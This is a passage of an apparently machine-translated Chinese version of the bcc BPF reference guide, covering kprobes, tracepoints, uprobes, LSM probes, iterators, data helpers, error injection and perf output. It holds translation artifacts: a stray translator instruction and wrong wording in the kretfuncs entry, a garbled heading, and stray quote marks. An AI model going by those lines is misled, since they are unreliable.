<li><a href="bcc-documents/reference_guide.html#4-num_open_kprobes">4. num_open_kprobes()</a></li>
<li><a href="bcc-documents/reference_guide.html#5-get_syscall_fnname">5. get_syscall_fnname()</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#bpf-%E9%94%99%E8%AF%AF">BPF 错误</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#1-invalid-mem-access">1. Invalid mem access</a></li>
<li><a href="bcc-documents/reference_guide.html#2-%E6%97%A0%E6%B3%95%E4%BB%8E%E4%B8%93%E6%9C%89%E7%A8%8B%E5%BA%8F%E8%B0%83%E7%94%A8-gpl-only-%E5%87%BD%E6%95%B0">2. 无法从专有程序调用 GPL-only 函数</a></li>
</ul>
</li>
<li><a href="bcc-documents/reference_guide.html#%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F">环境变量</a>
<ul>
<li><a href="bcc-documents/reference_guide.html#1-%E5%86%85%E6%A0%B8%E6%BA%90%E4%BB%A3%E7%A0%81%E7%9B%AE%E5%BD%95">1. 内核源代码目录</a></li>
<li><a href="bcc-documents/reference_guide.html#2-%E5%86%85%E6%A0%B8%E7%89%88%E6%9C%AC%E8%A6%86%E7%9B%96">2. 内核版本覆盖</a></li>
</ul>
</li>
</ul>
<h1 id="bpf-c"><a class="header" href="#bpf-c">BPF C</a></h1>
<p>本节介绍了 bcc 程序的 C 部分。</p>
<h2 id="events--arguments"><a class="header" href="#events--arguments">Events &amp; Arguments</a></h2>
<h3 id="1-kprobes"><a class="header" href="#1-kprobes">1. kprobes</a></h3>
<p>语法kprobe__<em>kernel_function_name</em></p>
<p><code>kprobe__</code> 是一个特殊的前缀,用于创建一个 kprobe对内核函数调用的动态跟踪后面跟着的是内核函数的名称。你也可以通过声明一个普通的 C 函数,然后使用 Python 的 <code>BPF.attach_kprobe()</code>(稍后会介绍)将其与一个内核函数关联起来来使用 kprobe。</p>
<p>参数在函数声明中指定kprobe__<em>kernel_function_name</em>(struct pt_regs *ctx [, <em>argument1</em> ...])</p>
<p>例如:</p>
<pre><code class="language-c">int kprobe__tcp_v4_connect(struct pt_regs *ctx, struct sock *sk) {
[...]
}
</code></pre>
<p>这会使用 kprobe 对 tcp_v4_connect() 内核函数进行插装,并使用以下参数:</p>
<ul>
<li><code>struct pt_regs *ctx</code>: 寄存器和 BPF 上下文。</li>
<li><code>struct sock *sk</code>: tcp_v4_connect() 的第一个参数。</li>
</ul>
<p>第一个参数始终是 <code>struct pt_regs *</code>,其余的是函数的参数(如果你不打算使用它们,则不需要指定)。</p>
<p>示例代码:
<a href="https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/examples/tracing/tcpv4connect.py#L28">code</a><a href="https://github.com/iovisor/bcc/blob/5bd0eb21fd148927b078deb8ac29fff2fb044b66/examples/tracing/tcpv4connect_example.txt#L8">输出结果</a>),&quot;.&quot;<a href="https://github.com/iovisor/bcc/commit/310ab53710cfd46095c1f6b3e44f1dbc8d1a41d8#diff-8cd1822359ffee26e7469f991ce0ef00R26">code</a> <a href="https://github.com/iovisor/bcc/blob/3b9679a3bd9b922c736f6061dc65cb56de7e0250/examples/tracing/bitehist_example.txt#L6">output</a>)</p>
<!--- 这里无法添加搜索链接因为GitHub目前无法处理"kprobe__"所需的部分词搜索--->
<h3 id="2-kretprobes"><a class="header" href="#2-kretprobes">2. kretprobes</a></h3>
<p>语法: kretprobe__<em>kernel_function_name</em></p>
<p><code>kretprobe__</code>是一个特殊的前缀它创建了一个kretprobe对提供的内核函数名进行动态追踪跟踪内核函数的返回。您也可以通过声明一个普通的C函数然后使用Python的<code>BPF.attach_kretprobe()</code>稍后介绍将其与内核函数关联起来来使用kretprobes。</p>
<p>返回值可用作<code>PT_REGS_RC(ctx)</code>给定函数声明为kretprobe__<em>kernel_function_name</em>(struct pt_regs *ctx)</p>
<p>例如:</p>
<pre><code class="language-C">int kretprobe__tcp_v4_connect(struct pt_regs *ctx)
{
int ret = PT_REGS_RC(ctx);
[...]
}
</code></pre>
<p>这个例子使用kretprobe来对tcp_v4_connect()内核函数的返回进行检测,并将返回值存储在<code>ret</code>中。</p>
<p>现有的用法示例:
<a href="https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/examples/tracing/tcpv4connect.py#L38">code</a> <a href="https://github.com/iovisor/bcc/blob/5bd0eb21fd148927b078deb8ac29fff2fb044b66/examples/tracing/tcpv4connect_example.txt#L8">output</a>)</p>
<h3 id="3-tracepoints"><a class="header" href="#3-tracepoints">3. Tracepoints</a></h3>
<p>语法: TRACEPOINT_PROBE(<em>category</em>, <em>event</em>)</p>
<p>这是一个宏,用于对由<em>category</em>:<em>event</em>定义的tracepoint进行追踪。</p>
<p>tracepoint名称为<code>&lt;category&gt;:&lt;event&gt;</code>
probe函数名为<code>tracepoint__&lt;category&gt;__&lt;event&gt;</code></p>
<p>参数在一个<code>args</code>结构体中可用这些参数是tracepoint的参数。列出这些参数的一种方法是在/sys/kernel/debug/tracing/events/<em>category</em>/<em>event</em>/format下查看相关的格式文件。&quot;<code>args</code> 结构体可用于替代 <code>ctx</code>,作为需要上下文作为参数的每个函数中的参数。这包括特别是 <a href="bcc-documents/reference_guide.html#3-perf_submit">perf_submit()</a></p>
<p>例如:</p>
<pre><code class="language-C">TRACEPOINT_PROBE(random, urandom_read) {
// args is from /sys/kernel/debug/tracing/events/random/urandom_read/format
bpf_trace_printk(&quot;%d\\n&quot;, args-&gt;got_bits);
return 0;
}
</code></pre>
<p>这会给 <code>random:urandom_read</code> 追踪点注入代码,并打印出追踪点参数 <code>got_bits</code>
在使用 Python API 时,此探针会自动附加到正确的追踪点目标上。
对于 C++,可以通过明确指定追踪点目标和函数名来附加此追踪点探针:
<code>BPF::attach_tracepoint(&quot;random:urandom_read&quot;, &quot;tracepoint__random__urandom_read&quot;)</code>
注意,上面定义的探针函数的名称是 <code>tracepoint__random__urandom_read</code></p>
<p>实际示例:
<a href="https://github.com/iovisor/bcc/blob/a4159da8c4ea8a05a3c6e402451f530d6e5a8b41/examples/tracing/urandomread.py#L19">code</a> (<a href="https://github.com/iovisor/bcc/commit/e422f5e50ecefb96579b6391a2ada7f6367b83c4#diff-41e5ecfae4a3b38de5f4e0887ed160e5R10">output</a>)
<a href="https://github.com/iovisor/bcc/search?q=TRACEPOINT_PROBE+path%3Aexamples&amp;type=Code">search /examples</a>
<a href="https://github.com/iovisor/bcc/search?q=TRACEPOINT_PROBE+path%3Atools&amp;type=Code">search /tools</a></p>
<h3 id="4-uprobes"><a class="header" href="#4-uprobes">4. uprobes</a></h3>
<p>这些是通过在 C 中声明一个普通函数,然后在 Python 中通过 <code>BPF.attach_uprobe()</code> 将其关联为 uprobes 探针来进行注入的(稍后会介绍)。</p>
<p>可以使用 <code>PT_REGS_PARM</code> 宏来检查参数。</p>
<p>例如:</p>
<pre><code class="language-C">int count(struct pt_regs *ctx) {
char buf[64];
bpf_probe_read_user(&amp;buf, sizeof(buf), (void *)PT_REGS_PARM1(ctx));
bpf_trace_printk(&quot;%s %d&quot;, buf, PT_REGS_PARM2(ctx));
return(0);
}
</code></pre>
<p>这将读取第一个参数作为字符串,然后用第二个参数作为整数打印出来。</p>
<p>实际示例:
<a href="https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/examples/tracing/strlen_count.py#L26">code</a>。### 5。uretprobes</p>
<p>这些是通过在C中声明一个普通函数然后在Python中通过<code>BPF.attach_uretprobe()</code>将其关联为uretprobe探测点稍后详述来进行插装的。</p>
<p>返回值可以通过<code>PT_REGS_RC(ctx)</code>访问,前提是有一个如下声明的函数:<em>function_name</em>(struct pt_regs *ctx)</p>
<p>例如:</p>
<pre><code class="language-C">BPF_HISTOGRAM(dist);
int count(struct pt_regs *ctx) {
dist.increment(PT_REGS_RC(ctx));
return 0;
}
</code></pre>
<p>这会递增由返回值索引的<code>dist</code>直方图中的存储桶。</p>
<p>现场演示示例:
<a href="https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/examples/tracing/strlen_hist.py#L39">code</a> (<a href="https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/examples/tracing/strlen_hist.py#L15">output</a>),
<a href="https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/tools/bashreadline.py">code</a> (<a href="https://github.com/iovisor/bcc/commit/aa87997d21e5c1a6a20e2c96dd25eb92adc8e85d#diff-2fd162f9e594206f789246ce97d62cf0R7">output</a>)</p>
<h3 id="6-usdt探测点"><a class="header" href="#6-usdt探测点">6. USDT探测点</a></h3>
<p>这些是用户静态定义追踪USDT探测点可以放置在某些应用程序或库中以提供用户级别等效的跟踪点。用于USDT支持的主要BPF方法是<code>enable_probe()</code>。通过在C中声明一个普通函数然后在Python中通过<code>USDT.enable_probe()</code>将其关联为USDT探测点来进行插装。</p>
<p>可以通过以下方式读取参数bpf_usdt_readarg(<em>index</em>, ctx, &amp;addr)</p>
<p>例如:</p>
<pre><code class="language-C">int do_trace(struct pt_regs *ctx) {
uint64_t addr;
char path[128];
bpf_usdt_readarg(6, ctx, &amp;addr);
bpf_probe_read_user(&amp;path, sizeof(path), (void *)addr);
bpf_trace_printk(&quot;path:%s\\n&quot;, path);
return 0;
};
</code></pre>
<p>这会读取第六个USDT参数然后将其作为字符串存储到<code>path</code>中。当使用C API中的<code>BPF::init</code>的第三个参数进行USDT的初始化时如果任何USDT无法进行<code>init</code>,则整个<code>BPF::init</code>都会失败。如果您对一些USDT无法进行<code>init</code>感到满意,则在调用<code>BPF::init</code>之前使用<code>BPF::init_usdt</code></p>
<h3 id="7-原始跟踪点"><a class="header" href="#7-原始跟踪点">7. 原始跟踪点</a></h3>
<p>语法RAW_TRACEPOINT_PROBE(<em>event</em>)</p>
<p>这是一个宏,用于仪表化由<em>event</em>定义的原始跟踪点。</p>
<p>该参数是指向结构体<code>bpf_raw_tracepoint_args</code>的指针,该结构体定义在<a href="https://github.com/iovisor/bcc/blob/master/src/cc/compat/linux/virtual_bpf.h">bpf.h</a>中。结构体字段<code>args</code>包含了原始跟踪点的所有参数,可以在<a href="https://github.com/torvalds/linux/tree/master/include/trace/events">include/trace/events</a>目录中找到。</p>
<p>例如:</p>
<pre><code class="language-C">RAW_TRACEPOINT_PROBE(sched_switch)
{
// TP_PROTO(bool preempt, struct task_struct *prev, struct task_struct *next)
struct task_struct *prev = (struct task_struct *)ctx-&gt;args[1];
struct task_struct *next= (struct task_struct *)ctx-&gt;args[2];
s32 prev_tgid, next_tgid;
bpf_probe_read_kernel(&amp;prev_tgid, sizeof(prev-&gt;tgid), &amp;prev-&gt;tgid);
bpf_probe_read_kernel(&amp;next_tgid, sizeof(next-&gt;tgid), &amp;next-&gt;tgid);
bpf_trace_printk(&quot;%d -&gt; %d\\n&quot;, prev_tgid, next_tgid);
}
</code></pre>
<p>这将仪表化sched:sched_switch跟踪点并打印prev和next tgid。</p>
<h3 id="8-系统调用跟踪点"><a class="header" href="#8-系统调用跟踪点">8. 系统调用跟踪点</a></h3>
<p>语法:<code>syscall__SYSCALLNAME</code><code>syscall__</code>是一个特殊的前缀用于为提供的系统调用名称创建一个kprobe。您可以通过声明一个普通的C函数然后使用Python的<code>BPF.get_syscall_fnname(SYSCALLNAME)</code><code>BPF.attach_kprobe()</code>来使用它。</p>
<p>参数在函数声明中指定: <code>syscall__SYSCALLNAME(struct pt_regs *ctx, [, argument1 ...])</code>.</p>
<p>例如:</p>
<pre><code class="language-C">int syscall__execve(struct pt_regs *ctx,
const char __user *filename,
const char __user *const __user *__argv,
const char __user *const __user *__envp)
{
[...]
}
</code></pre>
<p>这将对execve系统调用进行探查。</p>
<p>第一个参数始终是<code>struct pt_regs *</code>,其余的参数是函数的参数(如果您不打算使用它们,则无需指定)。</p>
<p>相应的Python代码</p>
<pre><code class="language-Python">b = BPF(text=bpf_text)
execve_fnname = b.get_syscall_fnname(&quot;execve&quot;)
b.attach_kprobe(event=execve_fnname, fn_name=&quot;syscall__execve&quot;)
</code></pre>
<p>示例:
<a href="https://github.com/iovisor/bcc/blob/552658edda09298afdccc8a4b5e17311a2d8a771/tools/execsnoop.py#L101">code</a> (<a href="https://github.com/iovisor/bcc/blob/552658edda09298afdccc8a4b5e17311a2d8a771/tools/execsnoop_example.txt#L8">output</a>)</p>
<h3 id="9-kfuncs"><a class="header" href="#9-kfuncs">9. kfuncs</a></h3>
<p>语法KFUNC_PROBE(<em>function</em>, typeof(arg1) arg1, typeof(arg2) arge ...)</p>
<p>这是一个通过跳板来在内核函数执行<strong>之前</strong>对其进行探查的宏。它由<em>function</em>名称和<em>argX</em>定义的函数参数组成。</p>
<p>例如:</p>
<pre><code class="language-C">KFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode)
{
...
}
</code></pre>
<p>这将对do_sys_open内核函数进行探查并将其参数作为标准参数值访问。</p>
<p>示例:
<a href="https://github.com/iovisor/bcc/search?q=KFUNC_PROBE+path%3Atools&amp;type=Code">search /tools</a></p>
<h3 id="10-kretfuncs"><a class="header" href="#10-kretfuncs">10. kretfuncs</a></h3>
<p>语法KRETFUNC_PROBE(<em>event</em>, typeof(arg1) arg1, typeof(arg2) arge ..., int ret)</p>
<p>这是一个通过跳板来在内核函数执行<strong>之前</strong>探查的宏。
格式:仅返回翻译后的内容,不包括原始文本。<em></em>函数执行之后。它由<em>函数</em>名称和定义为<em>argX</em>的函数参数定义。</p>
<p>探针的最后一个参数是检测函数的返回值。</p>
<p>例如:</p>
<pre><code class="language-C">KRETFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode, int ret)
{
...
</code></pre>
<p>这会对do_sys_open内核函数进行检测并将其参数作为标准参数值一起与其返回值一起提取。</p>
<p>原地示例:
<a href="https://github.com/iovisor/bcc/search?q=KRETFUNC_PROBE+path%3Atools&amp;type=Code">搜索 /tools</a></p>
<h3 id="11-lsm-probes"><a class="header" href="#11-lsm-probes">11. LSM Probes</a></h3>
<p>语法LSM_PROBE(<em>hook</em>, typeof(arg1) arg1, typeof(arg2) arg2 ...)</p>
<p>这是一种将LSM挂钩作为BPF程序进行检测的宏。它可以用于审计安全事件和实施BPF中的MAC安全策略。
它通过指定挂钩名及其参数来定义。</p>
<p>可以在
<a href="https://github.com/torvalds/linux/blob/v5.15/include/linux/security.h#L260">include/linux/security.h</a>
中找到挂钩名称方法是取security_hookname之类的函数名然后只保留<code>hookname</code>部分。
例如,<code>security_bpf</code>仅变成了<code>bpf</code></p>
<p>与其他BPF程序类型不同LSM探针中指定的返回值是很重要的。返回值为0表示挂钩成功
任何非零的返回值都会导致挂钩失败和拒绝安全操作。</p>
<p>以下示例对一个拒绝所有未来BPF操作的挂钩进行了检测</p>
<pre><code class="language-C">LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)
{
return -EPERM;
}
</code></pre>
<p>这会对<code>security_bpf</code>挂钩进行检测,并导致其返回<code>-EPERM</code>
<code>return -EPERM</code>更改为<code>return 0</code>会导致BPF程序允许该操作。</p>
<p>LSM探针需要至少一个5.7+内核,并设置了以下配置选项:</p>
<ul>
<li><code>CONFIG_BPF_LSM=y</code></li>
<li><code>CONFIG_LSM</code> 逗号分隔的字符串必须包含&quot;bpf&quot;(例如,
<code>CONFIG_LSM=&quot;lockdown,yama,bpf&quot;</code>)</li>
</ul>
<p>原地示例:&quot;<a href="https://github.com/iovisor/bcc/search?q=LSM_PROBE+path%3Atests&amp;type=Code">搜索/tests</a></p>
<h3 id="12-bpf迭代器"><a class="header" href="#12-bpf迭代器">12. BPF迭代器</a></h3>
<p>语法: BPF_ITER(target)</p>
<p>这是一个宏用于定义一个bpf迭代器程序的程序签名。参数 <em>target</em> 指定要迭代的内容。</p>
<p>目前,内核没有接口来发现支持哪些目标。一个好的查找支持内容的地方是在 <a href="https://github.com/torvalds/linux/blob/master/tools/testing/selftests/bpf/prog_tests/bpf_iter.c">tools/testing/selftests/bpf/prog_test/bpf_iter.c</a> 一些示例bpf迭代器程序位于 <a href="https://github.com/torvalds/linux/tree/master/tools/testing/selftests/bpf/progs">tools/testing/selftests/bpf/progs</a> ,其中文件名以 <em>bpf_iter</em> 为前缀。</p>
<p>以下示例为 <em>task</em> 目标定义了一个程序,该程序遍历内核中的所有任务。</p>
<pre><code class="language-C">BPF_ITER(task)
{
struct seq_file *seq = ctx-&gt;meta-&gt;seq;
struct task_struct *task = ctx-&gt;task;
if (task == (void *)0)
return 0;
... task-&gt;pid, task-&gt;tgid, task-&gt;comm, ...
return 0;
}
</code></pre>
<p>在5.8内核中引入了BPF迭代器可以用于任务task、任务文件task_file、bpf map、netlink_sock和ipv6_route。在5.9中对tcp/udp socket和bpf map元素hashmap、arraymap和sk_local_storage_map遍历添加了支持。</p>
<h2 id="数据"><a class="header" href="#数据">数据</a></h2>
<h3 id="1-bpf_probe_read_kernel"><a class="header" href="#1-bpf_probe_read_kernel">1. bpf_probe_read_kernel()</a></h3>
<p>语法: <code>int bpf_probe_read_kernel(void *dst, int size, const void*src)</code></p>
<p>返回值: 成功时返回0</p>
<p>该函数将从内核地址空间复制size字节到BPF堆栈以便BPF之后可以对其进行操作。为了安全起见所有内核内存读取都必须通过bpf_probe_read_kernel()进行。在某些情况下比如解引用内核变量时这会自动发生因为bcc会重新编写BPF程序以包含所需的bpf_probe_read_kernel()。</p>
<p>现场示例:
<a href="https://github.com/iovisor/bcc/search?q=bpf_probe_read_kernel+path%3Aexamples&amp;type=Code">搜索 /examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=bpf_probe_read_kernel+path%3Atools&amp;type=Code">搜索 /tools</a></p>
<h3 id="2-bpf_probe_read_kernel_strshell"><a class="header" href="#2-bpf_probe_read_kernel_strshell">2. bpf_probe_read_kernel_str()&quot;.```shell</a></h3>
<p>语法:<code>int bpf_probe_read_kernel_str(void *dst, int size, const void*src)</code></p>
<p>返回值:</p>
<ul>
<li>&gt; 0 成功时字符串长度包括结尾的NULL字符</li>
<li>&lt; 0 出错</li>
</ul>
<p>该函数将一个以<code>NULL</code>结尾的字符串从内核地址空间复制到BPF堆栈中以便BPF以后可以对其进行操作。如果字符串的长度小于size则目标不会用更多的<code>NULL</code>字节进行填充。如果字符串的长度大于size则只会复制<code>size - 1</code>个字节,并将最后一个字节设置为<code>NULL</code></p>
<p>示例:
<a href="https://github.com/iovisor/bcc/search?q=bpf_probe_read_kernel_str+path%3Aexamples&amp;type=Code">搜索/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=bpf_probe_read_kernel_str+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="3-bpf_ktime_get_ns"><a class="header" href="#3-bpf_ktime_get_ns">3. bpf_ktime_get_ns()</a></h3>
<p>语法:<code>u64 bpf_ktime_get_ns(void)</code></p>
<p>返回值u64 纳秒数。从系统启动时间开始计数,但在挂起期间停止计数。</p>
<p>示例:
<a href="https://github.com/iovisor/bcc/search?q=bpf_ktime_get_ns+path%3Aexamples&amp;type=Code">搜索/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=bpf_ktime_get_ns+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="4-bpf_get_current_pid_tgid"><a class="header" href="#4-bpf_get_current_pid_tgid">4. bpf_get_current_pid_tgid()</a></h3>
<p>语法:<code>u64 bpf_get_current_pid_tgid(void)</code></p>
<p>返回值:<code>current-&gt;tgid &lt;&lt; 32 | current-&gt;pid</code></p>
<p>返回进程ID位于低32位内核视图的PID在用户空间通常表示为线程ID线程组ID位于高32位在用户空间通常被认为是PID。通过直接设置为u32类型我们丢弃了高32位。</p>
<p>示例:
<a href="https://github.com/iovisor/bcc/search?q=bpf_get_current_pid_tgid+path%3Aexamples&amp;type=Code">搜索/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=bpf_get_current_pid_tgid+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="5-bpf_get_current_uid_gid"><a class="header" href="#5-bpf_get_current_uid_gid">5. bpf_get_current_uid_gid()</a></h3>
<p>语法:<code>u64 bpf_get_current_uid_gid(void)</code></p>
<p>返回值:<code>current_gid &lt;&lt; 32 | current_uid</code></p>
<p>返回用户ID和组ID。</p>
<p>示例:<a href="https://github.com/iovisor/bcc/search?q=bpf_get_current_uid_gid+path%3Aexamples&amp;type=Code">搜索/examples</a>, <a href="https://github.com/iovisor/bcc/search?q=bpf_get_current_uid_gid+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="6-bpf_get_current_comm"><a class="header" href="#6-bpf_get_current_comm">6. bpf_get_current_comm()</a></h3>
<p>语法: <code>bpf_get_current_comm(char *buf, int size_of_buf)</code></p>
<p>返回值: 成功时返回0</p>
<p>将当前进程的名称填充到第一个参数地址中。它应该是一个指向字符数组的指针大小至少为TASK_COMM_LEN该变量在linux/sched.h中定义。例如:</p>
<pre><code class="language-C">#include &lt;linux/sched.h&gt;
int do_trace(struct pt_regs *ctx) {
char comm[TASK_COMM_LEN];
bpf_get_current_comm(&amp;comm, sizeof(comm));
[...]
</code></pre>
<p>现有示例:
<a href="https://github.com/iovisor/bcc/search?q=bpf_get_current_comm+path%3Aexamples&amp;type=Code">搜索/examples</a>, <a href="https://github.com/iovisor/bcc/search?q=bpf_get_current_comm+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="7-bpf_get_current_task"><a class="header" href="#7-bpf_get_current_task">7. bpf_get_current_task()</a></h3>
<p>语法: <code>bpf_get_current_task()</code></p>
<p>返回值: 返回指向当前任务的struct task_struct指针。</p>
<p>返回指向当前任务的task_struct对象的指针。该辅助函数可用于计算进程的CPU时间标识内核线程获取当前CPU的运行队列或检索许多其他信息。</p>
<p>在Linux 4.13中,由于字段随机化的问题,您可能需要在包含之前定义两个#define指令:</p>
<pre><code class="language-C">#define randomized_struct_fields_start struct {
#define randomized_struct_fields_end };
#include &lt;linux/sched.h&gt;
int do_trace(void *ctx) {
struct task_struct *t = (struct task_struct *)bpf_get_current_task();
[...]
</code></pre>
<p>现有示例:
<a href="https://github.com/iovisor/bcc/search?q=bpf_get_current_task+path%3Aexamples&amp;type=Code">搜索/examples</a>, <a href="https://github.com/iovisor/bcc/search?q=bpf_get_current_task+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h3 id="8-bpf_log2l"><a class="header" href="#8-bpf_log2l">8. bpf_log2l()</a></h3>
<p>语法: <code>unsigned int bpf_log2l(unsigned long v)</code></p>
<p>返回提供的值的log-2。这通常用于创建直方图的索引以构建2的幂次直方图。在原地示例</p>
<p><a href="https://github.com/iovisor/bcc/search?q=bpf_log2l+path%3Aexamples&amp;type=Code">搜索/示例</a>
<a href="https://github.com/iovisor/bcc/search?q=bpf_log2l+path%3Atools&amp;type=Code">搜索/工具</a></p>
<h3 id="9-bpf_get_prandom_u32"><a class="header" href="#9-bpf_get_prandom_u32">9. bpf_get_prandom_u32()</a></h3>
<p>语法:<code>u32 bpf_get_prandom_u32()</code></p>
<p>返回一个伪随机的 u32。</p>
<p>在原地示例:</p>
<p><a href="https://github.com/iovisor/bcc/search?q=bpf_get_prandom_u32+path%3Aexamples&amp;type=Code">搜索/示例</a>
<a href="https://github.com/iovisor/bcc/search?q=bpf_get_prandom_u32+path%3Atools&amp;type=Code">搜索/工具</a></p>
<h3 id="10-bpf_probe_read_user"><a class="header" href="#10-bpf_probe_read_user">10. bpf_probe_read_user()</a></h3>
<p>语法:<code>int bpf_probe_read_user(void *dst, int size, const void*src)</code></p>
<p>返回值成功时返回0</p>
<p>该函数尝试安全地从用户地址空间读取size个字节到BPF栈中以便BPF之后可以操作它。为确保安全所有用户地址空间内存读取必须通过bpf_probe_read_user()。</p>
<p>在原地示例:</p>
<p><a href="https://github.com/iovisor/bcc/search?q=bpf_probe_read_user+path%3Aexamples&amp;type=Code">搜索/示例</a>
<a href="https://github.com/iovisor/bcc/search?q=bpf_probe_read_user+path%3Atools&amp;type=Code">搜索/工具</a></p>
<h3 id="11-bpf_probe_read_user_str"><a class="header" href="#11-bpf_probe_read_user_str">11. bpf_probe_read_user_str()</a></h3>
<p>语法:<code>int bpf_probe_read_user_str(void *dst, int size, const void*src)</code></p>
<p>返回值:</p>
<ul>
<li>&gt; 0 成功时返回字符串长度包括结尾的NULL</li>
<li>&lt; 0 错误</li>
</ul>
<p>该函数将一个以<code>NULL</code>结尾的字符串从用户地址空间复制到BPF栈中以便BPF之后可以操作它。如果字符串长度小于size则目标不会用额外的<code>NULL</code>字节填充。如果字符串长度大于size则只会复制<code>size - 1</code>字节,并将最后一字节设置为<code>NULL</code></p>
<p>在原地示例:</p>
<p><a href="https://github.com/iovisor/bcc/search?q=bpf_probe_read_user_str+path%3Aexamples&amp;type=Code">搜索/示例</a>
<a href="https://github.com/iovisor/bcc/search?q=bpf_probe_read_user_str+path%3Atools&amp;type=Code">搜索/工具</a></p>
<h3 id="12-bpf_get_ns_current_pid_tgid"><a class="header" href="#12-bpf_get_ns_current_pid_tgid">12. bpf_get_ns_current_pid_tgid()</a></h3>
<p>语法:<code>u32 bpf_get_ns_current_pid_tgid(u64 dev, u64 ino, struct bpf_pidns_info*nsdata, u32 size)</code>。从当前<strong>命名空间</strong>中看到的<em>pid</em><em>tgid</em>的值将在<em>nsdata</em>中返回。</p>
<p>成功返回0失败时返回以下之一</p>
<ul>
<li>
<p>如果提供的dev和inum与当前任务的nsfs的dev_t和inode号不匹配或者dev转换为dev_t丢失了高位则返回**-EINVAL**。</p>
</li>
<li>
<p>如果当前任务的pidns不存在则返回**-ENOENT**。</p>
</li>
</ul>
<p>原地示例:
<a href="https://github.com/iovisor/bcc/search?q=bpf_get_ns_current_pid_tgid+path%3Aexamples&amp;type=Code">搜索/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=bpf_get_ns_current_pid_tgid+path%3Atools&amp;type=Code">搜索/tools</a></p>
<h2 id="调试"><a class="header" href="#调试">调试</a></h2>
<h3 id="1-bpf_override_return"><a class="header" href="#1-bpf_override_return">1. bpf_override_return()</a></h3>
<p>语法:<code>int bpf_override_return(struct pt_regs *, unsigned long rc)</code></p>
<p>返回值成功时返回0</p>
<p>当用于附加到函数入口的程序时,会导致该函数的执行被跳过,立即返回<code>rc</code>。这用于目标错误注入。</p>
<p>仅当允许错误注入时bpf_override_return才有效。白名单列表中需要在内核源代码中给一个函数打上 <code>ALLOW_ERROR_INJECTION()</code> 的标签;参考 <code>io_ctl_init</code> 的示例。如果该函数未被加入白名单bpf程序将无法附加出现 <code>ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument</code> 错误。</p>
<pre><code class="language-C">int kprobe__io_ctl_init(void *ctx) {
bpf_override_return(ctx, -ENOMEM);
return 0;
}
</code></pre>
<h2 id="输出"><a class="header" href="#输出">输出</a></h2>
<h3 id="1-bpf_trace_printk"><a class="header" href="#1-bpf_trace_printk">1. bpf_trace_printk()</a></h3>
<p>语法:<code>int bpf_trace_printk(const char *fmt, ...)</code></p>
<p>返回值成功时返回0</p>
<p>对于通常的trace_pipe (/sys/kernel/debug/tracing/trace_pipe)提供了一个简单的内核printf()功能。这对于一些快速示例是可以接受的但有一些限制最多3个参数只有一个%s而且trace_pipe是全局共享的所以并发程序会有冲突输出。更好的接口是通过BPF_PERF_OUTPUT()。注意,与原始内核版本相比,调用这个辅助函数变得更简单,它的第二个参数已经是 <code>fmt_size</code></p>
<p>原地示例:&quot;<a href="https://github.com/iovisor/bcc/search?q=bpf_trace_printk+path%3Aexamples&amp;type=Code">搜索 /示例</a>, <a href="https://github.com/iovisor/bcc/search?q=bpf_trace_printk+path%3Atools&amp;type=Code">搜索 /工具</a></p>
<h3 id="2-bpf_perf_output"><a class="header" href="#2-bpf_perf_output">2. BPF_PERF_OUTPUT</a></h3>
<p>语法:<code>BPF_PERF_OUTPUT(name)</code></p>
<p>创建一个BPF表格通过性能环形缓冲区将自定义事件数据推送到用户空间。这是将每个事件数据推送到用户空间的首选方法。</p>
<p>例如:</p>
<pre><code class="language-C">struct data_t {
u32 pid;
u64 ts;
char comm[TASK_COMM_LEN];
};
BPF_PERF_OUTPUT(events);
int hello(struct pt_regs *ctx) {
struct data_t data = {};
data.pid = bpf_get_current_pid_tgid();
data.ts = bpf_ktime_get_ns();
bpf_get_current_comm(&amp;data.comm, sizeof(data.comm));
events.perf_submit(ctx, &amp;data, sizeof(data));
return 0;
}
</code></pre>
<p>输出表格名为<code>events</code>,数据通过<code>events.perf_submit()</code>推送到该表格。</p>
<p>示例中包含以下内容:
<a href="https://github.com/iovisor/bcc/search?q=BPF_PERF_OUTPUT+path%3Aexamples&amp;type=Code">搜索 /示例</a>, <a href="https://github.com/iovisor/bcc/search?q=BPF_PERF_OUTPUT+path%3Atools&amp;type=Code">搜索 /工具</a></p>
<h3 id="3-perf_submit"><a class="header" href="#3-perf_submit">3. perf_submit()</a></h3>
<p>语法:<code>int perf_submit((void *)ctx, (void*)data, u32 data_size)</code></p>
<p>返回值成功返回0</p>
<p>这是BPF_PERF_OUTPUT表格的一种方法用于向用户空间提交自定义事件数据。参见BPF_PERF_OUTPUT条目最终调用bpf_perf_event_output())。</p>
<p><code>ctx</code>参数在<a href="bcc-documents/reference_guide.html#1-kprobes">kprobes</a><a href="bcc-documents/reference_guide.html#2-kretprobes">kretprobes</a>中提供。对于<code>SCHED_CLS</code><code>SOCKET_FILTER</code>程序,必须使用<code>struct __sk_buff *skb</code></p>
<p>示例中包含以下内容:
